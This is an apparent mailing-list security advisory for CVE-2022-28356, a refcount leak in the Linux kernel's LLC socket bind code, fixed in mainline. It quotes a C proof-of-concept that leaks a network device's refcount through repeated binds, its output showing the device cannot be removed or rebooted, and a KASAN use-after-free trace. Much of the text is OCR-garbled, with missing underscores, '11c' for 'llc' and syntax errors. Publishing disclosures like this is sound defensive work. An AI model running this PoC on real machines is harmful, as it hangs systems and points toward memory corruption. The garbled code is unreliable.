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Subject: CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and
 llc ui autobind
Hi list,
Below you can find the security-bug report Beraphin shared with us a few
days ago. It's been addressed in mainline at 764f4eb [0].
Mitre assigned CVE-2022-28356.
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?
id=764f4eb6846f5475f1244767d24d25dd86528a4a
Beraphin wrote:
> I found a refcount leak bug in llc ui bind() from /net/llc/af llc.c. In this function, if it finds an
ARPHRD_ETHER type net device, it will hold the device's refcount:
> '''
> if (sk->sk bound dev if) {
> llc->dev = dev_get_by_index_rcu(&init_net, sk->sk_bound_dev_if);
> if (llc->dev) {
> if (is zero ether addr(addr->sllc mac))
> memcpy(addr->sllc mac, llc->dev->dev addr,
        IFHWADDRLEN);
> if (addr->sllc arphrd != llc->dev->type ||
    !ether addr equal(addr->sllc mac,
      llc->dev->dev_addr)) {
> rc = -EINVAL;
> llc->dev = NULL;
> }
> }
> } else
> llc->dev = dev_getbyhwaddr_rcu(&init_net, addr->sllc_arphrd,
   addr->sllc mac);
> dev hold track(llc->dev, &llc->dev tracker, GFP ATOMIC);
> '''
> but doesn't release the device if it fails to find a usable sap later:
> sap = llc_sap_find(addr->sllc_sap);
> if (!sap) {
> sap = llc_sap_open(addr->sllc_sap, NULL);
> rc = -EBUSY; /* some other network layer is using the sap */
> if (!sap)
> goto out;
> } else {
> out put:
> 11c sap put(sap);
> out:
> release_sock(sk);
> If we call llc ui bind() on a socket multiple times and provide it a used sllc sap each time, the
device's refcount will be increased unexpectedly, and the device cannot be removed then.
> A simple PoC code is as below:
> '''
> #define _GNU_SOURCE
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> #include <stdio.h>
> #include <stdlib.h>
> #include <errno.h>
> #include <sys/socket.h>
> #include <linux/llc.h>
> #include <time.h>
> #define REVISE NUM 20
> #define ARPHRD ETHER 1
> int main(void)
> {
     int s1, s2, ret, i;
     char eth0[] = \{0, 0, 0, 0, 0, 0\}; // change it
>
>
     int try;
     struct sockaddr llc addr;
     memset(&addr, 0, sizeof(struct sockaddr llc));
     addr.sllc family = AF LLC;
>
     addr.sllc arphrd = ARPHRD ETHER;
>
     memcpy(addr.sllc mac, eth0, 6);
>
     addr.sllc sap = \overline{20};
>
     s1 = socket(PF LLC, SOCK STREAM, 0);
     s2 = socket(PF_LLC, SOCK_STREAM, 0);
>
     printf("s1 = %d, s2 = %d\n", s1, s2);
>
     ret = bind(s1, (struct sockaddr *) &addr, sizeof(struct sockaddr llc));
     printf("bind1 return %d\n", ret);
     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
     printf("bind2 return %d\n", ret);
>
     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr llc));
>
    printf("bind3 return %d\n", ret);
     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr llc));
>
     printf("bind4 return %d\n", ret);
    close(s1);
     close(s2);
     return 0:
> }
> After executing the poc above, we can neither remove the bounded net device nor reboot the OS. The PoC is
tested on Linux-5.17-rc5:
> / # /home/pwn/exp
> s1 = 3, s2 = 4
> bind1 return 0
> bind2 return -1
> bind3 return -1
> bind4 return -1
> / #
> / # reboot
> / #
> / # rmmod e1000
> [ 185.976235] unregister netdevice: waiting for eth0 to become free. Usage count = 3
> [ 196.056399] unregister netdevice: waiting for eth0 to become free. Usage count = 3
> An attacker can leverage this flaw to trigger an integer overflow on the device's refcount and eventually
lead to a use-after-free bug:
> '''
     97.850647] BUG: KASAN: use-after-free in llc_alloc_frame+0x2aa/0x320 [llc2]
     97.850647] Read of size 2 at addr ffff88803e9b2128 by task swapper/2/0
     97.850647]
     97.850647] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G
                                                                         5.17.0-rc5 #2
    97.850647] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntul 04/01/2014
> [
     97.850647] Call Trace:
> [
> [ 97.850647] <IRQ>
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> [
      97.850647] dump_stack_lvl+0x89/0xb5
      97.850647] print_address_description.constprop.0+0x24/0x150
97.850647] ? llc alloc frame+0x2aa/0x320 [llc2]
                    ? llc alloc frame+0x2aa/0x320 [llc2]
      97.850647] kasan_report.cold+0x82/0xdb
      97.850647] ? llc alloc frame+0x2aa/0x320 [llc2]
> [
      97.850647]
> [
                      asan report load2 noabort+0x14/0x20
      97.850647] llc alloc frame+0x2aa/0x320 [llc2]
      97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]

97.850647] llc_conn_ac_send_sabme_cmd_p_set_x+0x56/0x470 [llc2]

97.850647] ? __sanitizer_cov_trace_switch+0x54/0x90
> [
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      97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]
> [
      97.850647] llc conn_state_process+0x3fa/0x13f0 [llc2]
> [
> [
      97.850647] llc conn tmr common cb+0x2c0/0x6d0 [llc2]
> [
      97.850647] ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2]
> [
      97.850647] llc_conn_ack_tmr_cb+0x23/0x30 [llc2]
  [
      97.850647]
                    call_timer_fn+0x46/0x290
      97.850647] ? 11c conn busy tmr cb+0x30/0x30 [11c2]
      97.850647]
                      run timers.part.0+0x6b0/0x9b0
> [
      97.850647] ? call timer fn+0x290/0x290
> [
> [
     97.850647] ? sanitizer cov trace cmp4+0x16/0x20
> [
      97.850647] ? ktime_get+0xff/0x150
     97.850647] ? lapic_next_event+0x5b/0x90

97.850647] ? __sanitizer_cov_trace_const_cmp4+0x16/0x20

97.850647] ? clockevents_program_event+0x14a/0x390
> [
  [
      97.850647] run timer softirq+0xb8/0x1b0
> [
> [
      97.850647] __do_softirq+0x1ac/0x5af
      97.850647]
                     irq exit rcu+0xd9/0x190
      97.850647] __irq_exit_rcu+0xd9/03
97.850647] irq_exit_rcu+0xe/0x10
> [
> [
      97.850647] sysvec_apic_timer_interrupt+0x98/0xb0
      97.850647]
                   </IRQ>
      97.850647] <TASK>
> [
      97.850647] asm_sysvec_apic_timer_interrupt+0x12/0x20
> [
      97.850647] RIP: 0010:native safe halt+0xb/0x10
> The function llc ui autobind() has the same issue.
Best Regards,
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